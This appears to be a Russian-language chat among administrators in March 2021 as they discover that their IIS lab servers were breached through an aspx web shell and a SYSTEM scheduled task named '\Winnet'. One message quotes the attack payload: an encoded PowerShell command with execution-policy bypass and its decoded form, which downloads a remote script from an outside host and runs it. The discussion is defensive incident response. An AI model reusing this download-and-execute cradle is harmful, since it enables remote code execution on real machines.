KK
у него кроме шела через aspx уже были бакдоры.. которые могут быть где угодно
Size: a a a
2021 March 09
SO
ГДе эти файлы лежат? В рандомных местах?
C:\inetpub\wwwroot\aspnet_client
A
Павел, а задачку в корень создали или внутри где-то ?
m
-ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALgBjAGgAYQB0AGMAZABuAC4AbgBlAHQALwBwAD8AaABpAGcAMgAxADAAMwAwADUAJwApAA==
IEX (New-Object Net.WebClient).downloadstring('http://cdn.chatcdn.net/p?hig210305')KK
О, да детка User "S-1-5-18" registered Task Scheduler task "\Winnet"
у меня две таски!.. у тебя одна? там пош....
SO
я у себя нигде не нашел заданий
файло удалил)
файло удалил)
PN
m
о да детка
это все еще лаба?
PN
пока задачу застопил и IIS положил
PN
да, сча проверю остальные лабы
SO
на одном вижу вот такое задание
PN
да, проломили все три лабы
PN
но задание на одной только
m
но задание на одной только
самое главное чтобы прод цел был)
A
да, проломили все три лабы
а я нигде пока не обнаружил взлома((
ВБ
а я нигде пока не обнаружил взлома((
Неудачник!
m
а я нигде пока не обнаружил взлома((
а нечего было обновляться. вот и сиди теперь как дурак